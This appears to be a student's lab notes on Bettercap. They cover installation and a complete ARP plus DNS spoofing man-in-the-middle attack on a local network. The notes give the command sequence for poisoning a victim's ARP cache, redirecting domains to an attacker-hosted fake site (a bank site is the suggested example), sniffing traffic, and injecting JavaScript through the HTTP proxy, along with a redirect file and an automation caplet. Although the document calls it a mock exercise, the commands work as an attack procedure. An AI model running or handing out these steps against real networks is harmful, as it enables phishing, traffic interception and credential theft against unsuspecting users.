

ベッターキャップ!

Bettercap - Spoofing

Prepare Installation (Update/Upgrade VM)

\$ sudo apt-get update

\$ sudo apt-get upgrade

Install bettercap

\$ sudo apt-get -y install bettercap

OR

Install bettercap using Debian Method

\$ sudo apt update

\$ sudo apt install golang git build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev

Then pull build from github

\$ go install github.com/bettercap/bettercap@latest

- bettercap installation complete -

Recommended install (tool)

\$ sudo apt-get install build-essential libpcap-dev net-tools

Mock ARP/DNS Spoofing Attack

Steps:

- 1. Obtain victims IP & default gateway
- 2. Host a local proxy server, acting as a spoofed website (bank website, etc) (Apache/Xampp Server)
- 3. Obtain IP & Gateway of the hacker's proxy server
- 4. DNS Spoofing of router using BetterCap on ubuntu
 - a. \$ set dns.spoof.domains <example.com> (target website)
 - b. \$ set dns.spoof.address <IP> (attacker proxy's
 address)
 - c. \$ dns.spoof on (turns on the module dns.spoof)
 - d. \$ Net.sniff on
 - e. \$ Net.sniff.output #If set, the sniffer will write captured packets to this pcap file.

Resources:

https://psychovik.medium.com/dns-spoofing-using-bettercap-24a843
5f7a03

-Useful tutorial

https://www.bettercap.org/modules/ethernet/net.sniff/

-Bettercap documentation

https://dev.to/thearjun/locally-host-website-using-apache2-ubunt u-server-217j

- -Hosting a apache2 server locally
- -Hosting a bettercap proxy locally

Useful documentation for Bettercap commands

parameter	default	description
net.sniff.output		If set, the sniffer will write captured packets to this pcap file.
net.sniff.source		If set, the sniffer will read from this pcap file instead of the current interface.
net.sniff.verbose	false	If true, every captured and parsed packet will be sent to the events.stream for displaying, otherwise only the ones parsed at the application layer (sni, http, etc).
net.sniff.local	false	If true it will consider packets from/to this computer, otherwise it will skip them.
net.sniff.filter	not arp	BPF filter for the sniffer.
net.sniff.regexp		If set, only packets with a payload matching this regular expression will be considered.
net.fuzz.layers	Payload	Comma separated types of layer to fuzz.
net.fuzz.rate	1.0	Rate in the [0.0,1.0] interval of packets to fuzz.
net.fuzz.ratio	0.4	Rate in the [0.0,1.0] interval of bytes to fuzz for each packet.
net.fuzz.silent	false	If true it will not report fuzzed packets.

HTTP Proxy

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Helpful Resource: Youtube video on utilizing Bettercap's built-in http proxy <a href="https://www.youtube.com/watch?v=m-H9W9ZOzBI">https://www.youtube.com/watch?v=m-H9W9ZOzBI</a>
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Run bettercap on interface of your choice
If installed with package manager:
     Sudo bettercap -iface
OR
If installed and made manually:
     Cd to bettercap directory, then run
     Sudo ./bettercap -iface ens33
set http.proxy.injectjs [path/location of your javascript file]
http.proxy on
Dns.conf file:
# Empty lines or lines starting with # will be ignored.
# example: redirect *.google.com to the attacker ip address
#local .*google\.com
# example: redirect *.microsoft.com to 10.10.10.10
#10.10.10.10 .*microsoft\.com
IP to redirect .*neverssl\.com
IP to redirect .*microsoft\.com
local .*google\.com
```

ARP + DNS Spoofing - Final

Final Working Commands for DNS Spoofing on LAN

- 1. \$ set arp.spoof.fullduplex true
- 2. \$ set arp.spoof.targets <IP> (victim up)
- 3. \$ set dns.spoof.address <IP> (server ip)
- 4. \$ set dns.spoof.all true
- 5. \$ set dns.spoof.domains
 testingmcafeesites.com, *.testingmcafeesites.com (http
 domain)
- 6. \$ arp.spoof on
- 7. \$ net.sniff on
- 8.\$ dns.spoof on

Created a caplet to run this in a script. Located in "scripts" directory on GitHub. To do it yourself and run the script:

- 1. Create .cap file
- 2. Run command: \$ sudo bettercap -caplet /path/to/file